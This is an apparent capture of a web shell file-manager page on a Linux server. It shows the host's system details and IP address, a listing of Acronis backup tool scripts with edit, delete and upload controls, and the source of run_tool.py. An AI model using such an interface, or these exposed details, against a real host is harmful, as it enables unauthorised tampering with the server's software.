[ SYSTEM ]: Linux srv.persadacompanies.com 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
[ SERVER ]: Apache | PHP: 8.4.19
[ USER ]: persadamedika | IP: 45.64.1.108
GEFORCE FILE MANAGER
/
usr
/
lib
/
Acronis
/
PyTools
/
commands
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📁 __pycache__
SET
[ DEL ]
📄 auto_update.py
2,909 B
SET
[ EDIT ]
|
[ DEL ]
📄 protect.py
408 B
SET
[ EDIT ]
|
[ DEL ]
📄 retention.py
9,876 B
SET
[ EDIT ]
|
[ DEL ]
📄 retention_specs.py
1,284 B
SET
[ EDIT ]
|
[ DEL ]
📄 run_tool.py
817 B
SET
[ EDIT ]
|
[ DEL ]
📄 staging.py
732 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: run_tool.py
import sys import subprocess import acrobind import acrort def run_tool(argument): command = argument['Command'] wait_timeout = argument.get('Timeout') command_line = '{0} -m {1}'.format(sys.executable, command) argv = command_line if sys.platform != 'win32': import shlex argv = shlex.split(command_line) tool = subprocess.Popen(argv, universal_newlines=True, shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE) (result, stderr) = tool.communicate(timeout=wait_timeout) if tool.returncode != 0: acrort.common.make_logic_error(stderr).throw() return {'stdout': result} def execute(*args, **kw): ctx = acrort.remoting.CommandContext(*args, **kw) arg = acrobind.unit2py(ctx.argument) return run_tool(arg)